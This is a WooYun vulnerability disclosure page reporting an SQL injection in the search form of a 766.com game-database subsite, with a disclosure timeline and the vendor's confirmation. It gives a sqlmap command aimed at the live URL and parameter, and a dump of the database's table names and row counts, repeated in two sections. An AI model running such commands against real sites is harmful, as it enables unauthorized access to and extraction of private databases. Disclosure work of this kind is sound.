当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171201

漏洞标题:766游戏网某分站存在注入

相关厂商:766游戏网

漏洞作者: 头晕脑壳疼

提交时间:2016-01-20 11:43

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-20: 细节已通知厂商并且等待厂商处理中
2016-01-20: 厂商已经确认,细节仅向厂商公开
2016-01-30: 细节向核心白帽子及相关领域专家公开
2016-02-09: 细节向普通白帽子公开
2016-02-19: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

详细说明:

搜索框没有过滤导致注入
sqlmap -u "http://gamedb.766.com/hon/hero/search.html" --data "name=99999"

1.png


3.png


89个表
Database: gamedb_766_com
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| area_video_guidance | 4751 |
| tps_map_score | 3062 |
| area_video_video | 2374 |
| tps_map_upload | 1160 |
| loldb_skin | 764 |
| hots_talent | 678 |
| loldb_skill | 640 |
| area_video_credit_log | 537 |
| jf_simulator_skill | 527 |
| jf_simulator_score | 521 |
| tps_map_praise | 453 |
| tbl_gamedb_lol_equip | 448 |
| tbl_gamedb_dota2_skill | 434 |
| wows_code_log | 429 |
| wows_code_user | 331 |
| tbl_gamedb_sm_equip | 273 |
| jf_simulator_upload | 228 |
| area_video_email | 212 |
| hon_skill | 211 |
| loldb_equipment | 193 |
| blol_code_log | 179 |
| blol_code_user | 130 |
| loldb_data | 130 |
| tbl_gamedb_dota2_item | 130 |
| tbl_gamedb_dota2_item_category | 130 |
| hon_item | 128 |
| loldb_hero | 128 |
| tbl_gamedb_lol_hero_parter | 119 |
| tbl_gamedb_lol_hero_period | 119 |
| tbl_gamedb_lol_hero | 118 |
| tbl_gamedb_lol_hero_copy | 118 |
| dnfmnq_data | 113 |
| tbl_gamedb_dota2_hero | 108 |
| tbl_gamedb_dota2_hero_attr | 108 |
| area_video_prize_detail | 73 |
| jf_simulator_type | 55 |
| hon_hero | 54 |
| area_video_score | 50 |
| area_video_prize_log | 49 |
| tbl_gamedb_sm_hero_cms | 46 |
| tbl_gamedb_sm_hero | 44 |
| tbl_gamedb_sm_hero_addskill | 44 |
| tbl_gamedb_sm_hero_attribute | 44 |
| tbl_gamedb_sm_hero_parter | 44 |
| tbl_gamedb_sm_hero_period | 44 |
| tbl_gamedb_sm_hero_skill | 44 |
| area_video_comment | 35 |
| hots_hero | 35 |
| tbl_gamedb_sm_hero_url | 35 |
| tbl_gamedb_sm_hero_ext_video | 30 |
| tps_map_skill | 26 |
| tps_map_map | 21 |
| loldb_summon | 15 |
| tbl_gamedb_sm_skill_ext_intro | 15 |
| tbl_gamedb_dota2_admin_node | 14 |
| speedrank_upload | 13 |
| area_video_user | 12 |
| tbl_gamedb_dota2_admin_log | 12 |
| blol_code_qa | 11 |
| hots_index_show | 11 |
| wows_code_qa | 10 |
| cod_db_data | 9 |
| tps_map_job | 9 |
| area_video_type | 6 |
| tbl_gamedb_sm_rili_other | 6 |
| area_video_admin | 5 |
| tbl_gamedb_sm_skill_copy | 5 |
| tbl_gamedb_sm_skill_copy1 | 5 |
| tbl_gamedb_lol_equip_copy | 4 |
| area_video_prize | 3 |
| speedrank_level | 3 |
| speedrank_map | 2 |
| tbl_gamedb_sm_hero_attribute_copy | 2 |
| tbl_gamedb_sm_rili | 2 |
| tbl_gamedb_sm_equip_copy1 | 1 |
| tbl_gamedb_sm_hero_free | 1 |
| tbl_gamedb_sm_hero_skill_copy1 | 1 |
| tbl_gamedb_sm_rili_everyday | 1 |
+-----------------------------------+---------+

漏洞证明:

搜索框没有过滤导致注入
sqlmap -u "http://gamedb.766.com/hon/hero/search.html" --data "name=99999"

1.png


3.png


89个表
Database: gamedb_766_com
+-----------------------------------+---------+
| Table | Entries |
+-----------------------------------+---------+
| area_video_guidance | 4751 |
| tps_map_score | 3062 |
| area_video_video | 2374 |
| tps_map_upload | 1160 |
| loldb_skin | 764 |
| hots_talent | 678 |
| loldb_skill | 640 |
| area_video_credit_log | 537 |
| jf_simulator_skill | 527 |
| jf_simulator_score | 521 |
| tps_map_praise | 453 |
| tbl_gamedb_lol_equip | 448 |
| tbl_gamedb_dota2_skill | 434 |
| wows_code_log | 429 |
| wows_code_user | 331 |
| tbl_gamedb_sm_equip | 273 |
| jf_simulator_upload | 228 |
| area_video_email | 212 |
| hon_skill | 211 |
| loldb_equipment | 193 |
| blol_code_log | 179 |
| blol_code_user | 130 |
| loldb_data | 130 |
| tbl_gamedb_dota2_item | 130 |
| tbl_gamedb_dota2_item_category | 130 |
| hon_item | 128 |
| loldb_hero | 128 |
| tbl_gamedb_lol_hero_parter | 119 |
| tbl_gamedb_lol_hero_period | 119 |
| tbl_gamedb_lol_hero | 118 |
| tbl_gamedb_lol_hero_copy | 118 |
| dnfmnq_data | 113 |
| tbl_gamedb_dota2_hero | 108 |
| tbl_gamedb_dota2_hero_attr | 108 |
| area_video_prize_detail | 73 |
| jf_simulator_type | 55 |
| hon_hero | 54 |
| area_video_score | 50 |
| area_video_prize_log | 49 |
| tbl_gamedb_sm_hero_cms | 46 |
| tbl_gamedb_sm_hero | 44 |
| tbl_gamedb_sm_hero_addskill | 44 |
| tbl_gamedb_sm_hero_attribute | 44 |
| tbl_gamedb_sm_hero_parter | 44 |
| tbl_gamedb_sm_hero_period | 44 |
| tbl_gamedb_sm_hero_skill | 44 |
| area_video_comment | 35 |
| hots_hero | 35 |
| tbl_gamedb_sm_hero_url | 35 |
| tbl_gamedb_sm_hero_ext_video | 30 |
| tps_map_skill | 26 |
| tps_map_map | 21 |
| loldb_summon | 15 |
| tbl_gamedb_sm_skill_ext_intro | 15 |
| tbl_gamedb_dota2_admin_node | 14 |
| speedrank_upload | 13 |
| area_video_user | 12 |
| tbl_gamedb_dota2_admin_log | 12 |
| blol_code_qa | 11 |
| hots_index_show | 11 |
| wows_code_qa | 10 |
| cod_db_data | 9 |
| tps_map_job | 9 |
| area_video_type | 6 |
| tbl_gamedb_sm_rili_other | 6 |
| area_video_admin | 5 |
| tbl_gamedb_sm_skill_copy | 5 |
| tbl_gamedb_sm_skill_copy1 | 5 |
| tbl_gamedb_lol_equip_copy | 4 |
| area_video_prize | 3 |
| speedrank_level | 3 |
| speedrank_map | 2 |
| tbl_gamedb_sm_hero_attribute_copy | 2 |
| tbl_gamedb_sm_rili | 2 |
| tbl_gamedb_sm_equip_copy1 | 1 |
| tbl_gamedb_sm_hero_free | 1 |
| tbl_gamedb_sm_hero_skill_copy1 | 1 |
| tbl_gamedb_sm_rili_everyday | 1 |
+-----------------------------------+---------+

修复方案:

版权声明:转载请注明来源 头晕脑壳疼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-01-20 13:03

厂商回复:

感谢洞主对完美世界的关注,我们将尽快修补。

最新状态:

暂无


漏洞评价:

评价